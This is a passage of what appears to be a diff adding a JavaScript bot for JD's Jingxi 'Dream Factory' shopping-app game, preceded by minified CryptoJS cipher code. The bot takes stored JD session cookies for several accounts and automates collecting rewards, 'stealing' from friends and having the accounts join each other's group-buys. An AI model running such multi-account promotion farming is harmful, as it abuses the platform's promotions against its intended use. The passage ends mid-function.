514, + 2415919104: 8389120, + 2684354560: 33280, + 2952790016: 8421376, + 3221225472: 32770, + 3489660928: 8388610, + 3758096384: 0, + 4026531840: 33282, + 134217728: 0, + 402653184: 8421890, + 671088640: 33282, + 939524096: 32768, + 1207959552: 8421888, + 1476395008: 512, + 1744830464: 8421378, + 2013265920: 2, + 2281701376: 8389120, + 2550136832: 33280, + 2818572288: 8421376, + 3087007744: 8389122, + 3355443200: 8388610, + 3623878656: 32770, + 3892314112: 514, + 4160749568: 8388608, + 1: 32768, + 268435457: 2, + 536870913: 8421888, + 805306369: 8388608, + 1073741825: 8421378, + 1342177281: 33280, + 1610612737: 512, + 1879048193: 8389122, + 2147483649: 8421890, + 2415919105: 8421376, + 2684354561: 8388610, + 2952790017: 33282, + 3221225473: 514, + 3489660929: 8389120, + 3758096385: 32770, + 4026531841: 0, + 134217729: 8421890, + 402653185: 8421376, + 671088641: 8388608, + 939524097: 512, + 1207959553: 32768, + 1476395009: 8388610, + 1744830465: 2, + 2013265921: 33282, + 2281701377: 32770, + 2550136833: 8389122, + 2818572289: 514, + 3087007745: 8421888, + 3355443201: 8389120, + 3623878657: 0, + 3892314113: 33280, + 4160749569: 8421378 + }, { + 0: 1074282512, + 16777216: 16384, + 33554432: 524288, + 50331648: 1074266128, + 67108864: 1073741840, + 83886080: 1074282496, + 100663296: 1073758208, + 117440512: 16, + 134217728: 540672, + 150994944: 1073758224, + 167772160: 1073741824, + 184549376: 540688, + 201326592: 524304, + 218103808: 0, + 234881024: 16400, + 251658240: 1074266112, + 8388608: 1073758208, + 25165824: 540688, + 41943040: 16, + 58720256: 1073758224, + 75497472: 1074282512, + 92274688: 1073741824, + 109051904: 524288, + 125829120: 1074266128, + 142606336: 524304, + 159383552: 0, + 176160768: 16384, + 192937984: 1074266112, + 209715200: 1073741840, + 226492416: 540672, + 243269632: 1074282496, + 260046848: 16400, + 268435456: 0, + 285212672: 1074266128, + 301989888: 1073758224, + 318767104: 1074282496, + 335544320: 1074266112, + 352321536: 16, + 369098752: 540688, + 385875968: 16384, + 402653184: 16400, + 419430400: 524288, + 436207616: 524304, + 452984832: 1073741840, + 469762048: 540672, + 486539264: 1073758208, + 503316480: 1073741824, + 520093696: 1074282512, + 276824064: 540688, + 293601280: 524288, + 310378496: 1074266112, + 327155712: 16384, + 343932928: 1073758208, + 360710144: 1074282512, + 377487360: 16, + 394264576: 1073741824, + 411041792: 1074282496, + 427819008: 1073741840, + 444596224: 1073758224, + 461373440: 524304, + 478150656: 0, + 494927872: 16400, + 511705088: 1074266128, + 528482304: 540672 + }, { + 0: 260, + 1048576: 0, + 2097152: 67109120, + 3145728: 65796, + 4194304: 65540, + 5242880: 67108868, + 6291456: 67174660, + 7340032: 67174400, + 8388608: 67108864, + 9437184: 67174656, + 10485760: 65792, + 11534336: 67174404, + 12582912: 67109124, + 13631488: 65536, + 14680064: 4, + 15728640: 256, + 524288: 67174656, + 1572864: 67174404, + 2621440: 0, + 3670016: 67109120, + 4718592: 67108868, + 5767168: 65536, + 6815744: 65540, + 7864320: 260, + 8912896: 4, + 9961472: 256, + 11010048: 67174400, + 12058624: 65796, + 13107200: 65792, + 14155776: 67109124, + 15204352: 67174660, + 16252928: 67108864, + 16777216: 67174656, + 17825792: 65540, + 18874368: 65536, + 19922944: 67109120, + 20971520: 256, + 22020096: 67174660, + 23068672: 67108868, + 24117248: 0, + 25165824: 67109124, + 26214400: 67108864, + 27262976: 4, + 28311552: 65792, + 29360128: 67174400, + 30408704: 260, + 31457280: 65796, + 32505856: 67174404, + 17301504: 67108864, + 18350080: 260, + 19398656: 67174656, + 20447232: 0, + 21495808: 65540, + 22544384: 67109120, + 23592960: 256, + 24641536: 67174404, + 25690112: 65536, + 26738688: 67174660, + 27787264: 65796, + 28835840: 67108868, + 29884416: 67109124, + 30932992: 67174400, + 31981568: 4, + 33030144: 65792 + }, { + 0: 2151682048, + 65536: 2147487808, + 131072: 4198464, + 196608: 2151677952, + 262144: 0, + 327680: 4198400, + 393216: 2147483712, + 458752: 4194368, + 524288: 2147483648, + 589824: 4194304, + 655360: 64, + 720896: 2147487744, + 786432: 2151678016, + 851968: 4160, + 917504: 4096, + 983040: 2151682112, + 32768: 2147487808, + 98304: 64, + 163840: 2151678016, + 229376: 2147487744, + 294912: 4198400, + 360448: 2151682112, + 425984: 0, + 491520: 2151677952, + 557056: 4096, + 622592: 2151682048, + 688128: 4194304, + 753664: 4160, + 819200: 2147483648, + 884736: 4194368, + 950272: 4198464, + 1015808: 2147483712, + 1048576: 4194368, + 1114112: 4198400, + 1179648: 2147483712, + 1245184: 0, + 1310720: 4160, + 1376256: 2151678016, + 1441792: 2151682048, + 1507328: 2147487808, + 1572864: 2151682112, + 1638400: 2147483648, + 1703936: 2151677952, + 1769472: 4198464, + 1835008: 2147487744, + 1900544: 4194304, + 1966080: 64, + 2031616: 4096, + 1081344: 2151677952, + 1146880: 2151682112, + 1212416: 0, + 1277952: 4198400, + 1343488: 4194368, + 1409024: 2147483648, + 1474560: 2147487808, + 1540096: 64, + 1605632: 2147483712, + 1671168: 4096, + 1736704: 2147487744, + 1802240: 2151678016, + 1867776: 4160, + 1933312: 2151682048, + 1998848: 4194304, + 2064384: 4198464 + }, { + 0: 128, + 4096: 17039360, + 8192: 262144, + 12288: 536870912, + 16384: 537133184, + 20480: 16777344, + 24576: 553648256, + 28672: 262272, + 32768: 16777216, + 36864: 537133056, + 40960: 536871040, + 45056: 553910400, + 49152: 553910272, + 53248: 0, + 57344: 17039488, + 61440: 553648128, + 2048: 17039488, + 6144: 553648256, + 10240: 128, + 14336: 17039360, + 18432: 262144, + 22528: 537133184, + 26624: 553910272, + 30720: 536870912, + 34816: 537133056, + 38912: 0, + 43008: 553910400, + 47104: 16777344, + 51200: 536871040, + 55296: 553648128, + 59392: 16777216, + 63488: 262272, + 65536: 262144, + 69632: 128, + 73728: 536870912, + 77824: 553648256, + 81920: 16777344, + 86016: 553910272, + 90112: 537133184, + 94208: 16777216, + 98304: 553910400, + 102400: 553648128, + 106496: 17039360, + 110592: 537133056, + 114688: 262272, + 118784: 536871040, + 122880: 0, + 126976: 17039488, + 67584: 553648256, + 71680: 16777216, + 75776: 17039360, + 79872: 537133184, + 83968: 536870912, + 88064: 17039488, + 92160: 128, + 96256: 553910272, + 100352: 262272, + 104448: 553910400, + 108544: 0, + 112640: 553648128, + 116736: 16777344, + 120832: 262144, + 124928: 537133056, + 129024: 536871040 + }, { + 0: 268435464, + 256: 8192, + 512: 270532608, + 768: 270540808, + 1024: 268443648, + 1280: 2097152, + 1536: 2097160, + 1792: 268435456, + 2048: 0, + 2304: 268443656, + 2560: 2105344, + 2816: 8, + 3072: 270532616, + 3328: 2105352, + 3584: 8200, + 3840: 270540800, + 128: 270532608, + 384: 270540808, + 640: 8, + 896: 2097152, + 1152: 2105352, + 1408: 268435464, + 1664: 268443648, + 1920: 8200, + 2176: 2097160, + 2432: 8192, + 2688: 268443656, + 2944: 270532616, + 3200: 0, + 3456: 270540800, + 3712: 2105344, + 3968: 268435456, + 4096: 268443648, + 4352: 270532616, + 4608: 270540808, + 4864: 8200, + 5120: 2097152, + 5376: 268435456, + 5632: 268435464, + 5888: 2105344, + 6144: 2105352, + 6400: 0, + 6656: 8, + 6912: 270532608, + 7168: 8192, + 7424: 268443656, + 7680: 270540800, + 7936: 2097160, + 4224: 8, + 4480: 2105344, + 4736: 2097152, + 4992: 268435464, + 5248: 268443648, + 5504: 8200, + 5760: 270540808, + 6016: 270532608, + 6272: 270540800, + 6528: 270532616, + 6784: 8192, + 7040: 2105352, + 7296: 2097160, + 7552: 0, + 7808: 268435456, + 8064: 268443656 + }, { + 0: 1048576, + 16: 33555457, + 32: 1024, + 48: 1049601, + 64: 34604033, + 80: 0, + 96: 1, + 112: 34603009, + 128: 33555456, + 144: 1048577, + 160: 33554433, + 176: 34604032, + 192: 34603008, + 208: 1025, + 224: 1049600, + 240: 33554432, + 8: 34603009, + 24: 0, + 40: 33555457, + 56: 34604032, + 72: 1048576, + 88: 33554433, + 104: 33554432, + 120: 1025, + 136: 1049601, + 152: 33555456, + 168: 34603008, + 184: 1048577, + 200: 1024, + 216: 34604033, + 232: 1, + 248: 1049600, + 256: 33554432, + 272: 1048576, + 288: 33555457, + 304: 34603009, + 320: 1048577, + 336: 33555456, + 352: 34604032, + 368: 1049601, + 384: 1025, + 400: 34604033, + 416: 1049600, + 432: 1, + 448: 0, + 464: 34603008, + 480: 33554433, + 496: 1024, + 264: 1049600, + 280: 33555457, + 296: 34603009, + 312: 1, + 328: 33554432, + 344: 1048576, + 360: 1025, + 376: 34604032, + 392: 33554433, + 408: 34603008, + 424: 0, + 440: 34604033, + 456: 1049601, + 472: 1024, + 488: 33555456, + 504: 1048577 + }, { + 0: 134219808, + 1: 131072, + 2: 134217728, + 3: 32, + 4: 131104, + 5: 134350880, + 6: 134350848, + 7: 2048, + 8: 134348800, + 9: 134219776, + 10: 133120, + 11: 134348832, + 12: 2080, + 13: 0, + 14: 134217760, + 15: 133152, + 2147483648: 2048, + 2147483649: 134350880, + 2147483650: 134219808, + 2147483651: 134217728, + 2147483652: 134348800, + 2147483653: 133120, + 2147483654: 133152, + 2147483655: 32, + 2147483656: 134217760, + 2147483657: 2080, + 2147483658: 131104, + 2147483659: 134350848, + 2147483660: 0, + 2147483661: 134348832, + 2147483662: 134219776, + 2147483663: 131072, + 16: 133152, + 17: 134350848, + 18: 32, + 19: 2048, + 20: 134219776, + 21: 134217760, + 22: 134348832, + 23: 131072, + 24: 0, + 25: 131104, + 26: 134348800, + 27: 134219808, + 28: 134350880, + 29: 133120, + 30: 2080, + 31: 134217728, + 2147483664: 131072, + 2147483665: 2048, + 2147483666: 134348832, + 2147483667: 133152, + 2147483668: 32, + 2147483669: 134348800, + 2147483670: 134217728, + 2147483671: 134219808, + 2147483672: 134350880, + 2147483673: 134217760, + 2147483674: 134219776, + 2147483675: 0, + 2147483676: 133120, + 2147483677: 2080, + 2147483678: 131104, + 2147483679: 134350848 + }], G = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], j = z.DES = w.extend({ + _doReset: function () { + for (var a = this._key, b = a.words, c = [], d = 0; d < 56; d++) { + var e = x[d] - 1; + c[d] = b[e >>> 5] >>> 31 - e % 32 & 1 + } + for (var f = this._subKeys = [], h = 0; h < 16; h++) { + for (var g = f[h] = [], i = n[h], d = 0; d < 24; d++) g[d / 6 | 0] |= c[(y[d] - 1 + i) % 28] << 31 - d % 6, g[4 + (d / 6 | 0)] |= c[28 + (y[d + 24] - 1 + i) % 28] << 31 - d % 6; + g[0] = g[0] << 1 | g[0] >>> 31; + for (var d = 1; d < 7; d++) g[d] = g[d] >>> 4 * (d - 1) + 3; + g[7] = g[7] << 5 | g[7] >>> 27 + } + for (var k = this._invSubKeys = [], d = 0; d < 16; d++) k[d] = f[15 - d] + }, encryptBlock: function (a, b) { + this._doCryptBlock(a, b, this._subKeys) + }, decryptBlock: function (a, b) { + this._doCryptBlock(a, b, this._invSubKeys) + }, _doCryptBlock: function (a, b, c) { + this._lBlock = a[b], this._rBlock = a[b + 1], m.call(this, 4, 252645135), m.call(this, 16, 65535), p.call(this, 2, 858993459), p.call(this, 8, 16711935), m.call(this, 1, 1431655765); + for (var d = 0; d < 16; d++) { + for (var e = c[d], f = this._lBlock, h = this._rBlock, g = 0, i = 0; i < 8; i++) g |= F[i][((h ^ e[i]) & G[i]) >>> 0]; + this._lBlock = h, this._rBlock = f ^ g + } + var k = this._lBlock; + this._lBlock = this._rBlock, this._rBlock = k, m.call(this, 1, 1431655765), p.call(this, 8, 16711935), p.call(this, 2, 858993459), m.call(this, 16, 65535), m.call(this, 4, 252645135), a[b] = this._lBlock, a[b + 1] = this._rBlock + }, keySize: 2, ivSize: 2, blockSize: 2 + }); + r.DES = w._createHelper(j); + var l = z.TripleDES = w.extend({ + _doReset: function () { + var a = this._key, b = a.words; + this._des1 = j.createEncryptor(v.create(b.slice(0, 2))), this._des2 = j.createEncryptor(v.create(b.slice(2, 4))), this._des3 = j.createEncryptor(v.create(b.slice(4, 6))) + }, encryptBlock: function (a, b) { + this._des1.encryptBlock(a, b), this._des2.decryptBlock(a, b), this._des3.encryptBlock(a, b) + }, decryptBlock: function (a, b) { + this._des3.decryptBlock(a, b), this._des2.encryptBlock(a, b), this._des1.decryptBlock(a, b) + }, keySize: 6, ivSize: 2, blockSize: 2 + }); + r.TripleDES = w._createHelper(l) + }(), function () { + function k() { + for (var a = this._S, b = this._i, c = this._j, d = 0, e = 0; e < 4; e++) { + b = (b + 1) % 256, c = (c + a[b]) % 256; + var f = a[b]; + a[b] = a[c], a[c] = f, d |= a[(a[b] + a[c]) % 256] << 24 - 8 * e + } + return this._i = b, this._j = c, d + } + + var m = B, p = m.lib, r = p.StreamCipher, u = m.algo, v = u.RC4 = r.extend({ + _doReset: function () { + for (var a = this._key, b = a.words, c = a.sigBytes, d = this._S = [], e = 0; e < 256; e++) d[e] = e; + for (var e = 0, f = 0; e < 256; e++) { + var h = e % c, g = b[h >>> 2] >>> 24 - h % 4 * 8 & 255; + f = (f + d[e] + g) % 256; + var i = d[e]; + d[e] = d[f], d[f] = i + } + this._i = this._j = 0 + }, _doProcessBlock: function (a, b) { + a[b] ^= k.call(this) + }, keySize: 8, ivSize: 0 + }); + m.RC4 = r._createHelper(v); + var w = u.RC4Drop = v.extend({ + cfg: v.cfg.extend({drop: 192}), _doReset: function () { + v._doReset.call(this); + for (var a = this.cfg.drop; a > 0; a--) k.call(this) + } + }); + m.RC4Drop = r._createHelper(w) + }(), B.mode.CTRGladman = function () { + function i(a) { + if (255 === (a >> 24 & 255)) { + var b = a >> 16 & 255, c = a >> 8 & 255, d = 255 & a; + 255 === b ? (b = 0, 255 === c ? (c = 0, 255 === d ? d = 0 : ++d) : ++c) : ++b, a = 0, a += b << 16, a += c << 8, a += d + } else a += 1 << 24; + return a + } + + function k(a) { + return 0 === (a[0] = i(a[0])) && (a[1] = i(a[1])), a + } + + var m = B.lib.BlockCipherMode.extend(), p = m.Encryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, d = c.blockSize, e = this._iv, f = this._counter; + e && (f = this._counter = e.slice(0), this._iv = void 0), k(f); + var h = f.slice(0); + c.encryptBlock(h, 0); + for (var g = 0; g < d; g++) a[b + g] ^= h[g] + } + }); + return m.Decryptor = p, m + }(), function () { + function r() { + for (var a = this._X, b = this._C, c = 0; c < 8; c++) y[c] = b[c]; + b[0] = b[0] + 1295307597 + this._b | 0, b[1] = b[1] + 3545052371 + (b[0] >>> 0 < y[0] >>> 0 ? 1 : 0) | 0, b[2] = b[2] + 886263092 + (b[1] >>> 0 < y[1] >>> 0 ? 1 : 0) | 0, b[3] = b[3] + 1295307597 + (b[2] >>> 0 < y[2] >>> 0 ? 1 : 0) | 0, b[4] = b[4] + 3545052371 + (b[3] >>> 0 < y[3] >>> 0 ? 1 : 0) | 0, b[5] = b[5] + 886263092 + (b[4] >>> 0 < y[4] >>> 0 ? 1 : 0) | 0, b[6] = b[6] + 1295307597 + (b[5] >>> 0 < y[5] >>> 0 ? 1 : 0) | 0, b[7] = b[7] + 3545052371 + (b[6] >>> 0 < y[6] >>> 0 ? 1 : 0) | 0, this._b = b[7] >>> 0 < y[7] >>> 0 ? 1 : 0; + for (var c = 0; c < 8; c++) { + var d = a[c] + b[c], e = 65535 & d, f = d >>> 16, h = ((e * e >>> 17) + e * f >>> 15) + f * f, + g = ((4294901760 & d) * d | 0) + ((65535 & d) * d | 0); + n[c] = h ^ g + } + a[0] = n[0] + (n[7] << 16 | n[7] >>> 16) + (n[6] << 16 | n[6] >>> 16) | 0, a[1] = n[1] + (n[0] << 8 | n[0] >>> 24) + n[7] | 0, a[2] = n[2] + (n[1] << 16 | n[1] >>> 16) + (n[0] << 16 | n[0] >>> 16) | 0, a[3] = n[3] + (n[2] << 8 | n[2] >>> 24) + n[1] | 0, a[4] = n[4] + (n[3] << 16 | n[3] >>> 16) + (n[2] << 16 | n[2] >>> 16) | 0, a[5] = n[5] + (n[4] << 8 | n[4] >>> 24) + n[3] | 0, a[6] = n[6] + (n[5] << 16 | n[5] >>> 16) + (n[4] << 16 | n[4] >>> 16) | 0, a[7] = n[7] + (n[6] << 8 | n[6] >>> 24) + n[5] | 0 + } + + var u = B, v = u.lib, w = v.StreamCipher, z = u.algo, x = [], y = [], n = [], F = z.Rabbit = w.extend({ + _doReset: function () { + for (var a = this._key.words, b = this.cfg.iv, c = 0; c < 4; c++) a[c] = 16711935 & (a[c] << 8 | a[c] >>> 24) | 4278255360 & (a[c] << 24 | a[c] >>> 8); + var d = this._X = [a[0], a[3] << 16 | a[2] >>> 16, a[1], a[0] << 16 | a[3] >>> 16, a[2], a[1] << 16 | a[0] >>> 16, a[3], a[2] << 16 | a[1] >>> 16], + e = this._C = [a[2] << 16 | a[2] >>> 16, 4294901760 & a[0] | 65535 & a[1], a[3] << 16 | a[3] >>> 16, 4294901760 & a[1] | 65535 & a[2], a[0] << 16 | a[0] >>> 16, 4294901760 & a[2] | 65535 & a[3], a[1] << 16 | a[1] >>> 16, 4294901760 & a[3] | 65535 & a[0]]; + this._b = 0; + for (var c = 0; c < 4; c++) r.call(this); + for (var c = 0; c < 8; c++) e[c] ^= d[c + 4 & 7]; + if (b) { + var f = b.words, h = f[0], g = f[1], i = 16711935 & (h << 8 | h >>> 24) | 4278255360 & (h << 24 | h >>> 8), + k = 16711935 & (g << 8 | g >>> 24) | 4278255360 & (g << 24 | g >>> 8), m = i >>> 16 | 4294901760 & k, + p = k << 16 | 65535 & i; + e[0] ^= i, e[1] ^= m, e[2] ^= k, e[3] ^= p, e[4] ^= i, e[5] ^= m, e[6] ^= k, e[7] ^= p; + for (var c = 0; c < 4; c++) r.call(this) + } + }, _doProcessBlock: function (a, b) { + var c = this._X; + r.call(this), x[0] = c[0] ^ c[5] >>> 16 ^ c[3] << 16, x[1] = c[2] ^ c[7] >>> 16 ^ c[5] << 16, x[2] = c[4] ^ c[1] >>> 16 ^ c[7] << 16, x[3] = c[6] ^ c[3] >>> 16 ^ c[1] << 16; + for (var d = 0; d < 4; d++) x[d] = 16711935 & (x[d] << 8 | x[d] >>> 24) | 4278255360 & (x[d] << 24 | x[d] >>> 8), a[b + d] ^= x[d] + }, blockSize: 4, ivSize: 2 + }); + u.Rabbit = w._createHelper(F) + }(), B.mode.CTR = function () { + var i = B.lib.BlockCipherMode.extend(), k = i.Encryptor = i.extend({ + processBlock: function (a, b) { + var c = this._cipher, d = c.blockSize, e = this._iv, f = this._counter; + e && (f = this._counter = e.slice(0), this._iv = void 0); + var h = f.slice(0); + c.encryptBlock(h, 0), f[d - 1] = f[d - 1] + 1 | 0; + for (var g = 0; g < d; g++) a[b + g] ^= h[g] + } + }); + return i.Decryptor = k, i + }(), function () { + function r() { + for (var a = this._X, b = this._C, c = 0; c < 8; c++) y[c] = b[c]; + b[0] = b[0] + 1295307597 + this._b | 0, b[1] = b[1] + 3545052371 + (b[0] >>> 0 < y[0] >>> 0 ? 1 : 0) | 0, b[2] = b[2] + 886263092 + (b[1] >>> 0 < y[1] >>> 0 ? 1 : 0) | 0, b[3] = b[3] + 1295307597 + (b[2] >>> 0 < y[2] >>> 0 ? 1 : 0) | 0, b[4] = b[4] + 3545052371 + (b[3] >>> 0 < y[3] >>> 0 ? 1 : 0) | 0, b[5] = b[5] + 886263092 + (b[4] >>> 0 < y[4] >>> 0 ? 1 : 0) | 0, b[6] = b[6] + 1295307597 + (b[5] >>> 0 < y[5] >>> 0 ? 1 : 0) | 0, b[7] = b[7] + 3545052371 + (b[6] >>> 0 < y[6] >>> 0 ? 1 : 0) | 0, this._b = b[7] >>> 0 < y[7] >>> 0 ? 1 : 0; + for (var c = 0; c < 8; c++) { + var d = a[c] + b[c], e = 65535 & d, f = d >>> 16, h = ((e * e >>> 17) + e * f >>> 15) + f * f, + g = ((4294901760 & d) * d | 0) + ((65535 & d) * d | 0); + n[c] = h ^ g + } + a[0] = n[0] + (n[7] << 16 | n[7] >>> 16) + (n[6] << 16 | n[6] >>> 16) | 0, a[1] = n[1] + (n[0] << 8 | n[0] >>> 24) + n[7] | 0, a[2] = n[2] + (n[1] << 16 | n[1] >>> 16) + (n[0] << 16 | n[0] >>> 16) | 0, a[3] = n[3] + (n[2] << 8 | n[2] >>> 24) + n[1] | 0, a[4] = n[4] + (n[3] << 16 | n[3] >>> 16) + (n[2] << 16 | n[2] >>> 16) | 0, a[5] = n[5] + (n[4] << 8 | n[4] >>> 24) + n[3] | 0, a[6] = n[6] + (n[5] << 16 | n[5] >>> 16) + (n[4] << 16 | n[4] >>> 16) | 0, a[7] = n[7] + (n[6] << 8 | n[6] >>> 24) + n[5] | 0 + } + + var u = B, v = u.lib, w = v.StreamCipher, z = u.algo, x = [], y = [], n = [], F = z.RabbitLegacy = w.extend({ + _doReset: function () { + var a = this._key.words, b = this.cfg.iv, + c = this._X = [a[0], a[3] << 16 | a[2] >>> 16, a[1], a[0] << 16 | a[3] >>> 16, a[2], a[1] << 16 | a[0] >>> 16, a[3], a[2] << 16 | a[1] >>> 16], + d = this._C = [a[2] << 16 | a[2] >>> 16, 4294901760 & a[0] | 65535 & a[1], a[3] << 16 | a[3] >>> 16, 4294901760 & a[1] | 65535 & a[2], a[0] << 16 | a[0] >>> 16, 4294901760 & a[2] | 65535 & a[3], a[1] << 16 | a[1] >>> 16, 4294901760 & a[3] | 65535 & a[0]]; + this._b = 0; + for (var e = 0; e < 4; e++) r.call(this); + for (var e = 0; e < 8; e++) d[e] ^= c[e + 4 & 7]; + if (b) { + var f = b.words, h = f[0], g = f[1], i = 16711935 & (h << 8 | h >>> 24) | 4278255360 & (h << 24 | h >>> 8), + k = 16711935 & (g << 8 | g >>> 24) | 4278255360 & (g << 24 | g >>> 8), m = i >>> 16 | 4294901760 & k, + p = k << 16 | 65535 & i; + d[0] ^= i, d[1] ^= m, d[2] ^= k, d[3] ^= p, d[4] ^= i, d[5] ^= m, d[6] ^= k, d[7] ^= p; + for (var e = 0; e < 4; e++) r.call(this) + } + }, _doProcessBlock: function (a, b) { + var c = this._X; + r.call(this), x[0] = c[0] ^ c[5] >>> 16 ^ c[3] << 16, x[1] = c[2] ^ c[7] >>> 16 ^ c[5] << 16, x[2] = c[4] ^ c[1] >>> 16 ^ c[7] << 16, x[3] = c[6] ^ c[3] >>> 16 ^ c[1] << 16; + for (var d = 0; d < 4; d++) x[d] = 16711935 & (x[d] << 8 | x[d] >>> 24) | 4278255360 & (x[d] << 24 | x[d] >>> 8), a[b + d] ^= x[d] + }, blockSize: 4, ivSize: 2 + }); + u.RabbitLegacy = w._createHelper(F) + }(), B.pad.ZeroPadding = { + pad: function (a, b) { + var c = 4 * b; + a.clamp(), a.sigBytes += c - (a.sigBytes % c || c) + }, unpad: function (a) { + for (var b = a.words, c = a.sigBytes - 1; !(b[c >>> 2] >>> 24 - c % 4 * 8 & 255);) c--; + a.sigBytes = c + 1 + } + }, B +}); + +const $ = new Env('京喜工厂'); +const JD_API_HOST = 'https://m.jingxi.com'; +const notify = $.isNode() ? require('./sendNotify') : ''; +//通知级别 1=生产完毕可兑换通知;2=可兑换通知+生产超时通知+兑换超时通知;3=可兑换通知+生产超时通知+兑换超时通知+未选择商品生产通知(前提:已开通京喜工厂活动);默认第2种通知 +let notifyLevel = $.isNode() ? process.env.JXGC_NOTIFY_LEVEL || 2 : 2; +const randomCount = $.isNode() ? 20 : 5; +let tuanActiveId = ``, hasSend = false; +const jxOpenUrl = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://wqsd.jd.com/pingou/dream_factory/index.html%22%20%7D`; +let cookiesArr = [], cookie = '', message = '', allMessage = ''; +const inviteCodes = ['']; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +$.tuanIds = []; +$.appId = 10001; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; + if (process.env.DREAMFACTORY_FORBID_ACCOUNT) process.env.DREAMFACTORY_FORBID_ACCOUNT.split('&').map((item, index) => Number(item) === 0 ? cookiesArr = [] : cookiesArr.splice(Number(item) - 1 - index, 1)) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + await requestAlgo(); + await getActiveId();//自动获取每期拼团活动ID + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.nickName = $.UserName; + message = ''; + $.ele = 0; + $.pickEle = 0; + $.pickFriendEle = 0; + $.friendList = []; + $.canHelpFlag = true;//能否助力朋友(招工) + $.tuanNum = 0;//成团人数 + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await jdDreamFactory() + } + } + if (tuanActiveId) { + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.isLogin = true; + $.canHelp = true;//能否参团 + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + + if ((cookiesArr && cookiesArr.length >= ($.tuanNum || 5)) && $.canHelp) { + console.log(`\n账号${$.UserName} 内部相互进团\n`); + for (let item of $.tuanIds) { + console.log(`\n${$.UserName} 去参加团 ${item}`); + if (!$.canHelp) break; + await JoinTuan(item); + await $.wait(1000); + } + } + if ($.canHelp) await joinLeaderTuan();//参团 + } + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`, {url: jxOpenUrl}) + } +})() + +async function jdDreamFactory() { + try { + await userInfo(); + // await QueryFriendList();//查询今日招工情况以及剩余助力次数 + await joinLeaderTuan();//参团 + // await helpFriends(); + if (!$.unActive) return + await collectElectricity() + await getUserElectricity(); + await taskList(); + await investElectric(); + await QueryHireReward();//收取招工电力 + await PickUp();//收取自家的地下零件 + await stealFriend(); + if (tuanActiveId) { + await tuanActivity(); + await QueryAllTuan(); + } + await exchangeProNotify(); + await showMsg(); + } catch (e) { + $.logErr(e) + } +} + +function getActiveId(url = 'https://wqsd.jd.com/pingou/dream_factory/index.html') { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = data && data.match(/window\._CONFIG = (.*) ;var __getImgUrl/) + if (data) { + data = JSON.parse(data[1]); + const tuanConfigs = (data[0].skinConfig[0].adConfig || []).filter(vo => !!vo && vo['channel'] === 'h5'); + if (tuanConfigs && tuanConfigs.length) { + for (let item of tuanConfigs) { + const start = item.start; + const end = item.end; + const link = item.link; + if (new Date(item.end).getTime() > Date.now()) { + if (link && link.match(/activeId=(.*),/) && link.match(/activeId=(.*),/)[1]) { + console.log(`\n团活动ID: ${link.match(/activeId=(.*),/)[1]}\n有效时间:${start} - ${end}`); + tuanActiveId = link.match(/activeId=(.*),/)[1]; + break + } + } else { + if (link && link.match(/activeId=(.*),/) && link.match(/activeId=(.*),/)[1]) { + console.log(`\n团活动ID: ${link.match(/activeId=(.*),/)[1]}\n有效时间:${start} - ${end}\n团ID已过期`); + tuanActiveId = ''; + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 收取发电机的电力 +function collectElectricity(facId = $.factoryId, help = false, master) { + return new Promise(async resolve => { + let body = `factoryid=${facId}&apptoken=&pgtimestamp=&phoneID=&doubleflag=1`; + if (help && master) { + body += `factoryid=${facId}&master=${master}`; + } + $.get(taskurl(`generator/CollectCurrentElectricity`, body, `_time,apptoken,doubleflag,factoryid,pgtimestamp,phoneID,timeStamp,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + if (help) { + $.ele += Number(data.data['loginPinCollectElectricity']) + console.log(`帮助好友收取 ${data.data['CollectElectricity']} 电力,获得 ${data.data['loginPinCollectElectricity']} 电力`); + message += `【帮助好友】帮助成功,获得 ${data.data['loginPinCollectElectricity']} 电力\n` + } else { + $.ele += Number(data.data['CollectElectricity']) + console.log(`收取电力成功: 共${data.data['CollectElectricity']} `); + message += `【收取发电站】收取成功,获得 ${data.data['CollectElectricity']} 电力\n` + } + } else { + if (help) { + console.log(`收取好友电力失败:${data.msg}\n`); + } else { + console.log(`收取电力失败:${data.msg}\n`); + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 投入电力 +function 